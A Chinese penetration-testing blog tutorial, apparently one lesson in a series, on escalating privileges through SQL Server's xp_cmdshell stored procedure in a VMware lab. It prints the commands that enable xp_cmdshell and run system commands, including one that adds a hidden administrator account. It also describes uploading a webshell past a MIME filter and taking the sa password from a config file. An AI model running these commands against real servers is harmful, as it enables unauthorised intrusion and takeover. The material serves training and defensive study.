• 110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]


    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

    一、Windows Sqlserver xp_cmdshell存储过程提权

    1、XP_CMDSHELL提权背景:

           如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。

    2、XP_CMDSHELL相关概念:

    (1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`

    序号命令注释
    1Exec sp_configure ‘show advanced options’,1;#允许配置高级选项
    2RECONFIGURE;#重新配置
    3EXEC sp_configure ‘xp_cmdshell’,1;#启用xp_cmdshell存储过程
    4RECONFIGURE;#重新配置

    (2)执行系统命令格式:

    序号命令注释
    1Exec master.dbo.xp_cmdshell ‘whoami’#查看当前用户
    2Exec master.dbo.xp_cmdshell ‘net user’#查看所有用户
    3Exec master.dbo.xp_cmdshell ‘systeminfo’#查看OS信息
    4Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’#添加管理员组用户

    (3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;

    序号命令注释
    1Exec sp_configure ‘show advanced options’,1;#允许配置高级选项
    2RECONFIGURE;#重新配置
    3EXEC sp_configure ‘xp_cmdshell’,0;#禁用xp_cmdshell存储过程
    4RECONFIGURE;#重新配置

    3、XP_CMDSHELL提权实战:

    (1)实验环境:

    1.靶机环境:
    (1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
    (2)脚本语言环境:php/asp语言环境存在
    
    2.攻击机:
    (1)虚拟机Win7【192.168.97.130】
    (2)Firefox+Burpsuite+蚁剑+大马
    
    3.网络环境:
    (1)VMware搭建的NAT网络
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    (3)靶机链接:

    URL:http://target_sys.com/upload.php

    (3)实验过程:

    第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
    在这里插入图片描述
    【以上过程略】以下进行提权过程:

    第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码

    连接大马:
    在这里插入图片描述

    sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
    在这里插入图片描述

    第三步: 点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008

    xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
    在这里插入图片描述

    第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程
    在这里插入图片描述
    在这里插入图片描述
    第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令

    由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    Eureka添加@Loadbalanced 报错 No instances available for XXXXX
    使用 Docker Compose 快速搭建监控网站 uptime-kuma
    RabbitMQ初步到精通-第十章-RabbitMQ之Spring客户端源码
    Android UT开发简介
    微信小程序自动化发布
    在GPU上运行MATLAB程序
    SpringBoot+Mybaits搭建通用管理系统实例十一:数据缓存功能实现
    Dreamweaver网页设计与制作100例——HTML5期末考核大作业——票务网站整套网页
    [java毕业设计源代码]精品微信小程序校园论坛系统|前后分离VUE[包运行成功]
    Speedoffice(excel)文档中min函数如何使用
  • 原文地址:https://blog.csdn.net/qq_45555226/article/details/125627782